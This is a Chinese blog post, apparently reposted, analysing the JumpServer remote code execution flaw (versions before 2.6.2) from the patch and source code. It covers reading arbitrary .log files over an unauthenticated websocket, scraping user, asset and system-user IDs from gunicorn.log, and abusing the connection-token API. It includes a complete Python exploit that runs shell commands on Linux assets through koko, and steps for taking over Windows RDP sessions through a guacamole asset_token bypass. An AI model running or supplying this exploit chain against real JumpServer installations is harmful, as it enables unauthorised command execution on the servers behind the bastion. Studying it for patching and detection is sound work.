当前位置: 首页 > news >正文

JumpServer rce深入剖析

影响范围

JumpServer < v2.6.2

JumpServer < v2.5.4

JumpServer < v2.4.5

JumpServer = v1.5.9

修复链接及参考

修改了一处代码:

Git History

增加了一处鉴权

def connect(self):user = self.scope["user"]if user.is_authenticated and user.is_org_admin:self.accept()else:self.close()

官方修复建议。关闭以下两个接口访问

/api/v1/authentication/connection-token

/api/v1/users/connection-token/

log文件读取

漏洞存在的位置在于“资产管理->资产列表->测试资产可连接性/更新硬件信息”功能。

会打开一个html页面,去访问ws://172.16.20.5:8080/ws/ops/tasks/log/发送{"task":"6b52e7af-735e-4bd3-a492-5a458c2d07e3"}

然后把资产的信息返回。

对应的代码前端模板html在:/apps/ops/templates/ops/celery_task_log.html,后端代码在:/apps/ops/ws.py

跟一下这个请求的路由吧。

/apps/ops/urls/ws_urls.py中定义了ws/ops/tasks/log/的路由

urlpatterns = [path('ws/ops/tasks/log/', ws.CeleryLogWebsocket, name='task-log-ws'),
]

然后跟CeleryLogWebsocket走到了上面一直提到的ws.py。在接收到发送过来的task_id之后一路走到wait_util_log_path_exist函数

def wait_util_log_path_exist(self, task_id):log_path = get_celery_task_log_path(task_id)while not self.disconnected:if not os.path.exists(log_path):self.send_json({'message': '.', 'task': task_id})time.sleep(0.5)continueself.send_json({'message': '\r\n'})try:logger.debug('Task log path: {}'.format(log_path))task_log_f = open(log_path, 'rb')return task_log_fexcept OSError:return None

先是判断get_celery_task_log_path返回的路径是否存在,如果存在就读取。

然后跟进到get_celery_task_log_path函数:

def get_celery_task_log_path(task_id):task_id = str(task_id)rel_path = os.path.join(task_id[0], task_id[1], task_id + '.log')path = os.path.join(settings.CELERY_LOG_DIR, rel_path)os.makedirs(os.path.dirname(path), exist_ok=True)return path

发现是直接用os.path.join去做一个简单的拼接,所以任意路径下的.log后缀的文件都可以读取。

有大佬提到过可以读access.log或者是auth.log,听起来不错,但是搭建起来环境就会发现jumpserver是一堆docker容器启动的,可以读log文件的那台机器上的log后缀文件如下:

root@829a1096039f:/opt/jumpserver# find / -name *.log
/opt/jumpserver/data/celery/9/d/9d27be60-2b29-4569-b694-11ccb40d0031.log
/opt/jumpserver/logs/ansible.log
/opt/jumpserver/logs/drf_exception.log
/opt/jumpserver/logs/jumpserver.log
/opt/jumpserver/logs/unexpected_exception.log
/opt/jumpserver/logs/gunicorn.log
/opt/jumpserver/logs/flower.log
/opt/jumpserver/logs/daphne.log
/opt/jumpserver/logs/celery_ansible.log
/opt/jumpserver/logs/celery_default.log
/opt/jumpserver/logs/celery_node_tree.log
/opt/jumpserver/logs/celery_check_asset_perm_expired.log
/opt/jumpserver/logs/celery_heavy_tasks.log
/opt/jumpserver/logs/beat.log
/opt/jumpserver/logs/celery.log
/var/log/apt/history.log
/var/log/apt/term.log
/var/log/alternatives.log
/var/log/dpkg.log

除了本身能产生的log之外,其他的log并没有实际利用。

获取uuid和token

经过研究,发现了以下两条攻击链,分别是koko跳板中间件->linux资产和guacamole跳板中间件->windows资产。

利用条件是配置资产之后需要登录过资产(用过),这个基本上百分百满足,因为基本上配置的资产就是用来用的。

可以读取

/opt/jumpserver/logs/gunicorn.log

使用chrome插件Websocket Test Client连接websocket

ws://172.16.20.5:8080/ws/ops/tasks/log/发送{"task":"/opt/jumpserver/logs/gunicorn"}

然后拿到gunicorn.log的内容之后全局搜索

/api/v1/perms/asset-permissions/user/actions/

DEMO:

/api/v1/perms/asset-permissions/user/actions/?user_id=3a38b6f0-3947-401c-936b-af6ccc3d382d&asset_id=0ddec806-b5e1-43ed-947e-da992e4b4b2b&system_user_id=88f7dfab-0cba-4062-869f-990b5148bd06

对应的是连接资产的system_user_id、user_id和asset_id。分别代表着管理用户、系统用户和资产的唯一标识。

linux的资产可以全局搜索:

/api/v1/perms/asset-permissions/user/validate

DEMO:

/api/v1/perms/asset-permissions/user/validate/?action_name=connect&asset_id=fd22d77d-8469-4cee-a783-0b69d9b5eaf6&cache_policy=1&system_user_id=e5b69a74-f22e-420b-ba90-c12bd9f1ba3b&user_id=3a38b6f0-3947-401c-936b-af6ccc3d382d

代表含义同上。

然后拿到这三者可以做什么呢,回去看前面的修补建议:

关闭以下两个接口访问/api/v1/authentication/connection-token
/api/v1/users/connection-token/

对应的路由代码在:/apps/users/urls/api_urls.py

认证的代码在:/apps/authentication/api/auth.py

class UserConnectionTokenApi(RootOrgViewMixin, APIView):permission_classes = (IsOrgAdminOrAppUser,)def post(self, request):user_id = request.data.get('user', '')asset_id = request.data.get('asset', '')system_user_id = request.data.get('system_user', '')token = str(uuid.uuid4())user = get_object_or_404(User, id=user_id)asset = get_object_or_404(Asset, id=asset_id)system_user = get_object_or_404(SystemUser, id=system_user_id)value = {'user': user_id,'username': user.username,'asset': asset_id,'hostname': asset.hostname,'system_user': system_user_id,'system_user_name': system_user.name}cache.set(token, value, timeout=20)return Response({"token": token}, status=201)def get(self, request):token = request.query_params.get('token')user_only = request.query_params.get('user-only', None)value = cache.get(token, None)if not value:return Response('', status=404)if not user_only:return Response(value)else:return Response({'user': value['user']})def get_permissions(self):if self.request.query_params.get('user-only', None):self.permission_classes = (AllowAny,)return super().get_permissions()

可以看到把三个uuidpost发过去之后会返回一个20s超时的token。同时需要get给user-only传入一个值,不然会报not_authenticated。

import requests
import json
data={"user":"4320ce47-e0e0-4b86-adb1-675ca611ea0c","asset":"ccb9c6d7-6221-445e-9fcc-b30c95162825","system_user":"79655e4e-1741-46af-a793-fff394540a52"}url_host='http://192.168.1.73:8080'def get_token():url = url_host+'/api/v1/users/connection-token/?user-only=1'response = requests.post(url, json=data).json()print(response)return response['token']
get_token()

koko->linux资产

jumpserver的架构是一个叫luna的前端在前面缝合了koko和guacamole来做一个统一的面板管理,所以说只要拿到token和各个id就可以和koko和guacamole通信,从而控制资产。

所以只要简单的去找正常登陆资产的接口即可。

以下大部分内容cv自:jumpserver远程代码执行漏洞分析 - print("")

在/koko/static/js/koko.js中找到

let wsURL = baseWsUrl + '/koko/ws/terminal/?' + urlParams.toString();switch (urlParams.get("type")) {case 'token':wsURL = baseWsUrl + "/koko/ws/token/?" + urlParams.toString();breakdefault:}ws = new WebSocket(wsURL, ["JMS-KOKO"]);term = createTerminalById(elementId)

接口/koko/ws/terminal/?和/koko/ws/token/?

对应的后端代码https://github.com/jumpserver/koko/blob/e054394ffd13ac7c71a4ac980340749d9548f5e1/pkg/httpd/webserver.go

345和351行写了路由

func (s *server) websocketHandlers(router *gin.RouterGroup) {wsGroup := router.Group("/ws/")wsGroup.Group("/terminal").Use(s.middleSessionAuth()).GET("/", s.processTerminalWebsocket)wsGroup.Group("/elfinder").Use(s.middleSessionAuth()).GET("/", s.processElfinderWebsocket)wsGroup.Group("/token").GET("/", s.processTokenWebsocket)
}

跟进processTokenWebsocket

func (s *server) processTokenWebsocket(ctx *gin.Context) {tokenId, _ := ctx.GetQuery("target_id")tokenUser := service.GetTokenAsset(tokenId)if tokenUser.UserID == "" {logger.Errorf("Token is invalid: %s", tokenId)ctx.AbortWithStatus(http.StatusBadRequest)return}currentUser := service.GetUserDetail(tokenUser.UserID)if currentUser == nil {logger.Errorf("Token userID is invalid: %s", tokenUser.UserID)ctx.AbortWithStatus(http.StatusBadRequest)return}targetType := TargetTypeAssettargetId := strings.ToLower(tokenUser.AssetID)systemUserId := tokenUser.SystemUserIDs.runTTY(ctx, currentUser, targetType, targetId, systemUserId)
}

发现就是发了一个target_id过来,看逻辑应该就是刚刚拿到的20s的token。然后再从token里面去拿SystemUserID、AssetID、UserID从而精准的连接上资产runTTY则是连接资产的函数。

具体实现可看代码https://github.com/jumpserver/koko/blob/e054394ffd13ac7c71a4ac980340749d9548f5e1/pkg/httpd/userwebsocket.go

也就是说websocket连上

/koko/ws/token/?target_id=20s_token

就相当于连上了生成这个token的资产。

最后的exp:

# coding=utf-8
import asyncio
import websockets
import json
import requests
import re
target_url = 'http://192.168.1.73:8080'
cmd = "ifconfig"async def get_token():url = target_url.replace("http", "ws") + "/ws/ops/tasks/log/"print("Request => " + url + "token")async with websockets.connect(url, timeout=3) as websocket:await websocket.send('{"task":"/opt/jumpserver/logs/gunicorn"}')for x in range(1000):try:rs = await asyncio.wait_for(websocket.recv(), timeout=3)if '/api/v1/perms/asset-permissions/user/validate' in rs:breakexcept:print("获取不到用户信息")exit()pattern = re.compile(r'asset_id=(.*?)&cache_policy=1&system_user_id=(.*?)&user_id=(.*?) ')matchObj = pattern.search(rs)if matchObj:asset_id = matchObj.group(1)system_user_id = matchObj.group(2)user_id = matchObj.group(3)data = {'asset': asset_id, 'system_user': system_user_id, 'user': user_id}print("用户信息如下:%s"%data)url = target_url + '/api/v1/users/connection-token/?user-only=1'response = requests.post(url, json=data).json()return response['token']async def attack(url):async with websockets.connect(url, timeout=3) as websocket:print("Request => " + url)rs = await websocket.recv()print("Recv => " + rs)id = json.loads(rs)["id"]print("id = " + id)init_payload = json.dumps({"id": id, "type": "TERMINAL_INIT", "data": "{\"cols\":164,\"rows\":17}"})await websocket.send(init_payload)rs = await websocket.recv()rs = ""while "Last login" not in rs:rs = await websocket.recv()cmd_payload = json.dumps({"id": id, "type": "TERMINAL_DATA", "data": cmd + "\r\n"})await websocket.send(cmd_payload)for x in range(1000):try:rs = await asyncio.wait_for(websocket.recv(), timeout=3)rs=json.loads(rs)print("Recv => " + rs['data'])except:print('recv data end')breakdef exp():token = asyncio.get_event_loop().run_until_complete(get_token())url = target_url.replace("http", "ws") + "/koko/ws/token/?target_id=" + tokenasyncio.get_event_loop().run_until_complete(attack(url))if __name__ == '__main__':exp()

同时也跟进一下processTerminalWebsocket发现检查了ginCtxUserKey,而ginCtxUserKey是需要csrftoken和sessionid才能set的,所以不登陆没法用这个接口。

func (s *server) checkSessionValid(ctx *gin.Context) bool {var (csrfToken stringsessionid stringerr       erroruser      *model.User)if csrfToken, err = ctx.Cookie("csrftoken"); err != nil {logger.Errorf("Get cookie csrftoken err: %s", err)return false}if sessionid, err = ctx.Cookie("sessionid"); err != nil {logger.Errorf("Get cookie sessionid err: %s", err)return false}user, err = service.CheckUserCookie(sessionid, csrfToken)if err != nil {logger.Errorf("Check user session err: %s", err)return false}ctx.Set(ginCtxUserKey, user)return true
}

guacamole->windows资产

按照koko的思路,继续开始找接口,捋清楚大致流程如下:

先访问:

POST /guacamole/api/tokens HTTP/1.1
Cookie: csrftoken=HztV0vZUYXTg69c6zpNPAHQeZX6VHDyFvm1xN6uV8BaxHEp0Mj5OrOBjkkrC8VHt; sessionid=jfgmd8ti8vqi9qk38b8smodttsm1x3kn; jms_current_org=%7B%22id%22%3A%22DEFAULT%22%2C%22name%22%3A%22DEFAULT%22%7D; X-JMS-ORG=DEFAULT; jms_current_role=146; activeTab=AssetPermissionDetailusername=3a38b6f0-3947-401c-936b-af6ccc3d382d&password=jumpserver&asset_token=

username是最开始拿到的userid,password应该是默认的密码jumpserver,这个asset_token为空就很耐人寻味,后面再细说。

返回的是:

{"authToken":"E95119057E5796A566C510678F0C6D6BA4A68F34DE32FE2FB559953DBE0899D8","username":"3a38b6f0-3947-401c-936b-af6ccc3d382d","dataSource":"jumpserver","availableDataSources":["jumpserver"]}

然后用返回的authToken加上三个id去请求:

/guacamole/api/session/ext/jumpserver/asset/add?user_id=3a38b6f0-3947-401c-936b-af6ccc3d382d&asset_id=0ddec806-b5e1-43ed-947e-da992e4b4b2b&system_user_id=88f7dfab-0cba-4062-869f-990b5148bd06&token=E95119057E5796A566C510678F0C6D6BA4A68F34DE32FE2FB559953DBE0899D8

返回的是:

{"code":200,"result":"M2UwMDJiNjYtMmFhYS00MjFlLTk5NTktNWQwYmNkZmMzNjgwAGMAanVtcHNlcnZlcg=="}

抓到的接口请求大致就是这些。

上代码:http://download.jumpserver.org/release/v2.2.0/guacamole-client-v2.2.0.tar.gz

guacamole-1.2.0.war中的/WEB-INF/classes/org/apache/guacamole/rest/RESTServiceModule.class中定义了/api/*的路由,/WEB-INF/classes/org/apache/guacamole/rest/auth/TokenRESTService.class定义了/tokens/的路由。

然后一直走到guacamole-auth-jumpserver-1.2.0.jarorg.apache.guacamole.auth.jumpserver.JumpserverAuthenticationProvider的getAuthorizedConfigurations函数

  private Map<String, GuacamoleConfiguration> getAuthorizedConfigurations(Credentials credentials) {JumpserverConfigurationService configurationService = (JumpserverConfigurationService)injector.getInstance(JumpserverConfigurationService.class);Map<String, GuacamoleConfiguration> configs = null;if (configurationService.validateToken(credentials)) {configs = new HashMap<>();return configs;} if (configurationService.validateUser(credentials.getUsername(), credentials))configs = new HashMap<>(); return configs;}

再进validateToken的判断

 public boolean validateToken(Credentials credentials) {String assetToken = credentials.getRequest().getParameter("asset_token");return !StringUtil.isBlank(assetToken);}

从这里看到传入的asset_token是有用的,仅仅是检查不为空即可。

所以说只需要把随便放一个东西进去asset_token就能拿到一个authToken了(ps:其实我是先黑盒挖到的,因为我看流量的时候比较奇怪为什么那个asset_token的值为空,然后就把那个20s的token丢过去发现居然也生成了authToken,然后就下意识以为guacamole有两种认证模式,一种是判断csrftoken和sessionid,另外一种是把20s的token丢过去所以才能攻击成功,审一下代码居然是不为空就可以了。。。)。

然后再用拿到的authToken去添加一个资产,也就是上面的第二个接口。代码分析如下:

路由跟进:

guacamole-1.2.0.war中的/WEB-INF/classes/org/apache/guacamole/rest/RESTServiceModule.class中定义了/api/*的路由,跟进到WEB-INF/classe/org/apache/guacamole/rest/session/SessionRESTService.class定义了/session路由,跟进到WEB-INF/classe/org/apache/guacamole/rest/session/SessionResource.class定义/ext/{dataSource}路由,然后根据上面的请求返回可知dataSource是jumpserver,这里也对上了。

然后跨到guacamole-auth-jumpserver-1.2.0.jarorg.apache.guacamole.auth.jumpserver.rest.RESTService中定义了添加资产的具体代码:

@Path("/asset/add")public Object add(@Context HttpServletRequest request, @FormParam("username") String username, @FormParam("password") String password) {try {AssetRequest assetRequest = getAssetRequest(request);assetRequest.setUsername(username);assetRequest.setPassword(password);if (assetRequest.getUserId() == null || assetRequest.getAssetId() == null || assetRequest.getSystemUserId() == null)return new ReturnHolder(400, "user_id); String result = this.jumpserverConfigurationService.addAsset(assetRequest);return new ReturnHolder(200, result);} catch (Exception e) {logger.error("[/asset/add], e);return new ReturnHolder(500, e.getMessage());} }

进入到addAsset

public String addAsset(AssetRequest request) throws GuacamoleException {UserContext userContext;String userId = request.getUserId();String assetId = request.getAssetId();String systemUserId = request.getSystemUserId();if (request.getToken() != null) {userContext = UserContextMap.get(request.getToken());} else {userContext = UserContextMap.get(userId);} if (userContext == null)throw new GuacamoleException("); Permission permission = this.jumpserverService.getPermission(userId, assetId, systemUserId);if (permission == null || permission.getActions() == null || permission.getActions().size() == 0) {logger.error(");throw new GuacamoleException(");} if (!permission.enableConnect()) {logger.error("" + permission.getActions());throw new GuacamoleException("" + permission.getActions());} return registerAsset(request, permission, null);}

看到仅仅是检查传入的三个uuid和token,看上面的demo请求是已经把authToken传入了token参数的。

然后跟进到registerAsset

private String registerAsset(AssetRequest request, Permission permission, ParameterRemoteApp remoteApp) throws GuacamoleException {...Connection conn = getConnection(jmsConfig);userContext.getConnectionDirectory().add((Identifiable)conn);userContext.getRootConnectionGroup().getConnectionIdentifiers().add(conn.getIdentifier());logger.info("" + userId + ", assetId: " + assetId + ", systemUserId: " + systemUserId);return getBaseCode(conn.getIdentifier());}

getBaseCode:

private String getBaseCode(String identifier) throws GuacamoleException {try {String type = "c";String source = "jumpserver";return CodingUtil.base64Encoding(identifier + "\000" + type + "\000" + source);} catch (UnsupportedEncodingException e) {logger.error(", e);throw new GuacamoleException(", e);} }

最后返回了一个base64字符串,生成规则如上,也就是上面请求的那个返回。

然后获取拿到的base64字符串去访问/guacamole/#/client/{base64},即可访问到创建的rdp连接,但是又有一个问题,rdp是长连接的,guacamole有一个持续鉴权的过程,需要修改localstorageGUAC_AUTH等字段,将authTokenusername改成获取到的值,再刷新浏览器即可访问到windows资产完成rce。

比如:
GUAC_AUTH:
{"authToken":"4355CAD128C23ED68ECBD5DAC457EAB8EC0E502D5BAD7658DA770CD3CEF7A5CF","username":"3a38b6f0-3947-401c-936b-af6ccc3d382d","dataSource":"jumpserver","availableDataSources":["jumpserver"]}user:
3a38b6f0-3947-401c-936b-af6ccc3d382dGUAC_PREFERENCES
{"emulateAbsoluteMouse":true,"inputMethod":"none","language":"zh_CN","timezone":"Asia/Shanghai"}GUAC_HISTORY
[[]]

相关文章:

JumpServer rce深入剖析

影响范围 JumpServer < v2.6.2 JumpServer < v2.5.4 JumpServer < v2.4.5 JumpServer v1.5.9 修复链接及参考 修改了一处代码&#xff1a; Git History 增加了一处鉴权 def connect(self):user self.scope["user"]if user.is_authenticated and …...

EasyExcel导入/导出Excel文件

EasyExcel导入/导出Excel文件简单写法 1、导入依赖 2、创建简单导入、导出demo 3、创建类 继承AnalysisEventListener&#xff08;导入Excel监听解析表格数据&#xff09; 4、创建类 基于注解 自定义Excel导出模版 1、导入EasyExcel依赖 <!--导入EasyExcel…...

力扣(LeetCode)2512. 奖励最顶尖的K名学生(C++)

优先队列哈希集合反向思维(或自定义排序) 模拟&#xff0c;请直接看算法思路&#xff1a; 两个哈希集合S1和S2, S1存正面词汇&#xff0c;S2存负面词汇&#xff1b;一个优先队列pq&#xff0c;pq存{score, id}键值对&#xff0c;即学生分数-学生id。 算法流程&#xff1a; 初…...

CubeMX+BabyOS 使用方法

MCU&#xff1a;STM32G030F 编译器&#xff1a;MDK 托管工具&#xff1a;Sourcetree CubeMX创建工程 BabyOS克隆 添加子模块 git submodule add https://gitee.com/notrynohigh/BabyOS.git BabyOS 切换dev 分支 查看当前分支 git branch -a 切换本地分支到dev git che…...

OpenResty安装-(基于Nginx的高性能Web平台,可在Nginx端编码业务)

文章目录 安装OpenResty1.安装1&#xff09;安装开发库2&#xff09;安装OpenResty仓库3&#xff09;安装OpenResty4&#xff09;安装opm工具5&#xff09;目录结构6&#xff09;配置nginx的环境变量 2.启动和运行3.备注 安装OpenResty 1.安装 首先你的Linux虚拟机必须联网 …...

算法-DFS+记忆化/动态规划-不同路径 II

算法-DFS记忆化/动态规划-不同路径 II 1 题目概述 1.1 题目出处 https://leetcode.cn/problems/unique-paths-ii 1.2 题目描述 2 DFS记忆化 2.1 思路 注意题意&#xff0c;每次要么往右&#xff0c;要么往下走&#xff0c;也就是说不能走回头路。但是仍有可能走到之前已经…...

黑盒测试方法:原理+实战

目录 一、如何设计测试用例 二、黑盒测试常用方法 1、基于需求进行测试用例的设计 2、等价类 3、边界值 4、判定表分析法&#xff08;因果分析法&#xff09; 5、正交表 6、场景设计法 三、案例补充 1、使用Fiddler模拟弱网 2、针对一个接口该如何测试 一、如何设计测试…...

SQLite事务处理

语法 BEGIN TRANSACTION; COMMIT TRANSACTION; &#xff08;或END TRANSACTION;&#xff09; ROLLBACK TRANSACTION; 事务处理 除了一些PRAGMA语句以外&#xff0c;其它访问数据库的语句会自动启动事务处理&#xff0c;并且在结束时自动提交。 通过上一节的命令可以手动控制…...

Java中CountDownLatch使用场景

在Java的并发API中&#xff0c;CountDownLatch是一个同步器&#xff0c;它允许一个或多个线程等待一组操作完成。 如果您正在开发一个服务器应用程序&#xff0c;该应用程序在开始处理请求之前需要初始化各种资源。这些资源可能是这样的&#xff1a; 加载配置文件建立数据库连…...

漏刻有时数据可视化Echarts组件开发(41)svg格式地图应用

1.定义SVG文件 var svg ;2.注册地图函数 Echarts.registerMap是Echarts图表库中用于注册地图的函数。它可以将第三方地图或自定义地图数据与Echarts进行集成&#xff0c;使用Echarts的API进行绘制。使用方法如下&#xff1a; echarts.registerMap(mapName, geoJson) 参数map…...

firefox的主题文件位置在哪?记录以防遗忘

这篇文章写点轻松的 最近找到了一个自己喜欢的firefox主题,很想把主题的背景图片找到,所以找了下主题文件所在位置 我的firefox版本:版本: 118.0.1 (64 位)主题名称: Sora Kawai 我的位置在 C:\Users\mizuhokaga\AppData\Roaming\Mozilla\Firefox\Profiles\w0e4e24v.default…...

Vuex获取、修改参数值及异步数据处理

14天阅读挑战赛 学不可以已... 目录 一、Vuex简介 1.1 vuex介绍 1.2 vuex核心 二、Vuex使用 2.1 Vuex安装 2.2 创建store模块 2.3 创建vuex的store实例并注册上面引入的各大模块 三、使用Vuex获取、修改值案例 3.1 创建两个菜单组件 3.2 配置路由 3.3 模拟菜单数据 …...

【 OpenGauss源码学习 —— 列存储(autoanalyze)(二)】

列存储&#xff08;autoanalyze&#xff09;&#xff08;二&#xff09; 概述PgStat_StatTabEntry 结构体pgstat_count_heap_insert 与 pgstat_count_cu_insert 函数CStoreInsert::BatchInsertCommon 函数pgstat_count_cu_update 函数pgstat_count_cu_delete 函数pgstat_count_…...

使用postman 调用 Webservice 接口

1. 先在浏览器地址栏 访问你的webService地址 地址格式: http://127.0.0.1:8092/xxxx/ws(这个自己的决定)/xxxxXccv?wsdl 2. post man POST 访问wwebService接口 地址格式: http://127.0.0.1:8092/xxxx/ws(这个自己的决定)/xxxxXccv <soapenv:Envelope xmlns:soapenv…...

程序员Google插件推荐

文章目录 AdBlock (广告拦截插件)SuperCopy 超级复制Octotree (github增强工具)GitZip for github (github增强工具)JSON-handleSimpleExtManager(管理谷歌插件)OneTab (标签页合并)PostWoman(接口调试)篡改猴 (Tampermonkey)FeHelper(前端助手) AdBlock (广告拦截插件) ☆ 拦截…...

机器学习中常见的监督学习方法和非监督学习方法有哪些。

问题描述&#xff1a;最近面试某些公司算法岗&#xff0c;看到一道简答题&#xff0c;让你举例熟悉的监督学习方法和非监督学习方法。 问题解答&#xff1a; 监督学习方法常见的比较多&#xff1a; 线性回归&#xff08;Linear Regression&#xff09;&#xff1a; 用于回归问…...

UEFI基础——测试用例Hello Word

Hello 测试用例 硬件环境&#xff1a;龙芯ls3a6000平台 软件环境&#xff1a;龙芯uefi固件 GUID获取网址&#xff1a;https://guidgen.com 一、创建工程 mkdir TextPkg/三个文件 Hello.c 、 Hello.inf 、HelloPkg.dsc 1.1 Hello.c /** fileThe application to print hello …...

【tomcat、java】

java&#xff1a;maven配置 1.安装插件 <build><plugins><plugin><groupId>org.apache.tomcat.maven</groupId><artifactId>tomcat7-maven-plugin</artifactId><version>2.1</version><configuration><port&…...

京东获取推荐商品列表 API

item_recommend-获取推荐商品列表 请求参数 请求参数&#xff1a;type 参数说明&#xff1a;type:推荐类型 进入API测试页 响应参数 Version: Date: 名称类型必须示例值描述 items items[]0获取推荐商品列表 num_iid Bigint010021415166448宝贝ID detail_url String0http…...

rust cfg的使用

前提是一个crate倒入另一个crate。 先看结构 test_lib目录结构 这与另一个crate处于同一个目录,所以另一crate倒入的时候在Cargo.toml中使用如下语句。 test_lib = {path = "../test_lib" }先在test_lib/src/abc/abc.rs中添加没有cfg的两个函数做测试。 pub fn…...

简易版抽奖活动的设计技术方案

1.前言 本技术方案旨在设计一套完整且可靠的抽奖活动逻辑,确保抽奖活动能够公平、公正、公开地进行,同时满足高并发访问、数据安全存储与高效处理等需求,为用户提供流畅的抽奖体验,助力业务顺利开展。本方案将涵盖抽奖活动的整体架构设计、核心流程逻辑、关键功能实现以及…...

Redis相关知识总结(缓存雪崩,缓存穿透,缓存击穿,Redis实现分布式锁,如何保持数据库和缓存一致)

文章目录 1.什么是Redis&#xff1f;2.为什么要使用redis作为mysql的缓存&#xff1f;3.什么是缓存雪崩、缓存穿透、缓存击穿&#xff1f;3.1缓存雪崩3.1.1 大量缓存同时过期3.1.2 Redis宕机 3.2 缓存击穿3.3 缓存穿透3.4 总结 4. 数据库和缓存如何保持一致性5. Redis实现分布式…...

页面渲染流程与性能优化

页面渲染流程与性能优化详解&#xff08;完整版&#xff09; 一、现代浏览器渲染流程&#xff08;详细说明&#xff09; 1. 构建DOM树 浏览器接收到HTML文档后&#xff0c;会逐步解析并构建DOM&#xff08;Document Object Model&#xff09;树。具体过程如下&#xff1a; (…...

【服务器压力测试】本地PC电脑作为服务器运行时出现卡顿和资源紧张(Windows/Linux)

要让本地PC电脑作为服务器运行时出现卡顿和资源紧张的情况&#xff0c;可以通过以下几种方式模拟或触发&#xff1a; 1. 增加CPU负载 运行大量计算密集型任务&#xff0c;例如&#xff1a; 使用多线程循环执行复杂计算&#xff08;如数学运算、加密解密等&#xff09;。运行图…...

【开发技术】.Net使用FFmpeg视频特定帧上绘制内容

目录 一、目的 二、解决方案 2.1 什么是FFmpeg 2.2 FFmpeg主要功能 2.3 使用Xabe.FFmpeg调用FFmpeg功能 2.4 使用 FFmpeg 的 drawbox 滤镜来绘制 ROI 三、总结 一、目的 当前市场上有很多目标检测智能识别的相关算法&#xff0c;当前调用一个医疗行业的AI识别算法后返回…...

Java求职者面试指南:Spring、Spring Boot、MyBatis框架与计算机基础问题解析

Java求职者面试指南&#xff1a;Spring、Spring Boot、MyBatis框架与计算机基础问题解析 一、第一轮提问&#xff08;基础概念问题&#xff09; 1. 请解释Spring框架的核心容器是什么&#xff1f;它在Spring中起到什么作用&#xff1f; Spring框架的核心容器是IoC容器&#…...

【Go语言基础【12】】指针:声明、取地址、解引用

文章目录 零、概述&#xff1a;指针 vs. 引用&#xff08;类比其他语言&#xff09;一、指针基础概念二、指针声明与初始化三、指针操作符1. &&#xff1a;取地址&#xff08;拿到内存地址&#xff09;2. *&#xff1a;解引用&#xff08;拿到值&#xff09; 四、空指针&am…...

JavaScript 数据类型详解

JavaScript 数据类型详解 JavaScript 数据类型分为 原始类型&#xff08;Primitive&#xff09; 和 对象类型&#xff08;Object&#xff09; 两大类&#xff0c;共 8 种&#xff08;ES11&#xff09;&#xff1a; 一、原始类型&#xff08;7种&#xff09; 1. undefined 定…...

多模态图像修复系统:基于深度学习的图片修复实现

多模态图像修复系统:基于深度学习的图片修复实现 1. 系统概述 本系统使用多模态大模型(Stable Diffusion Inpainting)实现图像修复功能,结合文本描述和图片输入,对指定区域进行内容修复。系统包含完整的数据处理、模型训练、推理部署流程。 import torch import numpy …...

R 语言科研绘图第 55 期 --- 网络图-聚类

在发表科研论文的过程中&#xff0c;科研绘图是必不可少的&#xff0c;一张好看的图形会是文章很大的加分项。 为了便于使用&#xff0c;本系列文章介绍的所有绘图都已收录到了 sciRplot 项目中&#xff0c;获取方式&#xff1a; R 语言科研绘图模板 --- sciRplothttps://mp.…...